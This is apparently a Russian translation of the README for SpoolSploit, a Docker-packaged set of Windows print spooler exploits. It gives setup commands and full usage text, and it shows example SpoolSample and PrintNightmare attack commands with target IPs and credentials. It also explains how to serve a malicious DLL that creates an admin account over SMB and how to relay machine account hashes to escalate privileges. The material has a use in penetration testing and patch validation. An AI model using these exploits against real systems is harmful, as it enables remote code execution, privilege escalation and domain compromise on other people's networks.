
Коллекция эксплойтов для очереди печати Windows, упакованных с другими утилитами для практической эксплуатации.
Набор эксплойтов для очереди печати Windows, контейнеризированных с другими утилитами для практической эксплуатации.
SpoolSploit — это набор эксплойтов для очереди печати Windows, объединённых в контейнере с другими утилитами для практической эксплуатации. Некоторые высокоэффективные методы включают ретрансляцию учётных записей машин для повышения привилегий и выполнение вредоносных DLL на конечных точках с полным доступом к системе.

На момент выхода версии контейнер Docker SpoolSploit был успешно протестирован на последних версиях MacOS, Ubuntu Linux и Windows 10.
Хотя это не обязательно, если вы хотите размещать вредоносные DLL или проводить атаки с ретрансляцией учётных данных внутри контейнера SpoolSploit, убедитесь, что порт 445 не занят на хосте, где запущен Docker. Это особенно актуально при запуске контейнера на хосте Windows, так как он по умолчанию использует порт 445. Если отключить порт 445 на вашем хосте невозможно, это не проблема! Вы можете просто запустить Docker-контейнер на виртуальной машине с сетевым адаптером, настроенным в мостовом режиме. Это позволит обслуживать вредоносные DLL и ретранслировать учётные данные. Если вы хотите только обслуживать вредоносные DLL, вы можете просто разместить их на анонимном общем ресурсе на вашей основной ОС или на скомпрометированном сервере.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Контейнер Docker SpoolSploit включает Responder для ретрансляции хэшей машинных учётных записей, полученных при выполнении атаки spoolsample в SpoolSploit. Поскольку существует множество отличных статей, подробно описывающих процесс ретрансляции привилегированных машинных учётных данных для повышения привилегий, я не буду вдаваться в эти детали здесь.
В контейнере SpoolSploit реализован SMB-сервер на основе Impacket. Этот сервер можно использовать для размещения вредоносных DLL при выполнении атаки printnightmare в SpoolSploit. Стандартные настройки SMB-сервера работают, но если вы хотите их изменить, вы можете отредактировать файл конфигурации, расположенный по адресу /home/dlogmas/smbserver/smb-v1.conf.
Единственное, что нужно сделать — скопировать вашу DLL в папку общего ресурса SMB-сервера внутри контейнера SpoolSploit. Путь к общему ресурсу в контейнере: /home/dlogmas/smbserver/share/. Следующие команды показывают, как загрузить DLL в контейнер SpoolSploit и сделать её доступной для SMB-сервера.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Этот код с доказательством концепции создан для академических исследований и не предназначен для использования против систем, кроме случаев явного разрешения. Код предоставляется «как есть» без каких-либо гарантий или обещаний относительно его выполнения. Я не несу ответственности за неправомерное использование этого кода.